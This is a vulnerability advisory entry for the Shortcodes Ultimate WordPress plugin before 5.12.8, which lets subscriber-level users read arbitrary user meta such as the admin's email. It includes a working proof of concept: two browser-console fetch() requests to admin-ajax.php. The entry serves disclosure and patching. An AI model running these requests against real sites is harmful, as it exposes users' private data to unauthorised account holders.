Lucene search

K
wpvulndbWpvulndbWPVDB-ID:35404D16-7213-4293-AC0D-926BD6C17444
HistoryFeb 27, 2023 - 12:00 a.m.

Shortcodes Ultimate < 5.12.8 - Subscriber+ User Meta Disclosure

2023-02-2700:00:00
wpscan.com
9
vulnerability
user shortcode
user meta
web browser
authenticated users
subscriber
admin-email
plugin
security issue

EPSS

0.001

Percentile

30.4%

The plugin does not validate the user meta to be retrieved via the user shortcode, allowing any authenticated users such as subscriber to retrieve arbitrary user meta (except the user_pass), such as the user email and activation key by default.

PoC

Run one of the below commands in the developer console of the web browser while being on the blog as a subscriber fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: “action=parse-media-shortcode&shortcode;=[su_user field=‘user_email’ user_id=‘1’]”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); This will display the email of the admin fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: “action=parse-media-shortcode&shortcode;=[su_user field=‘wp_user_level’ user_id=‘1’]”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));

EPSS

0.001

Percentile

30.4%

Related for WPVDB-ID:35404D16-7213-4293-AC0D-926BD6C17444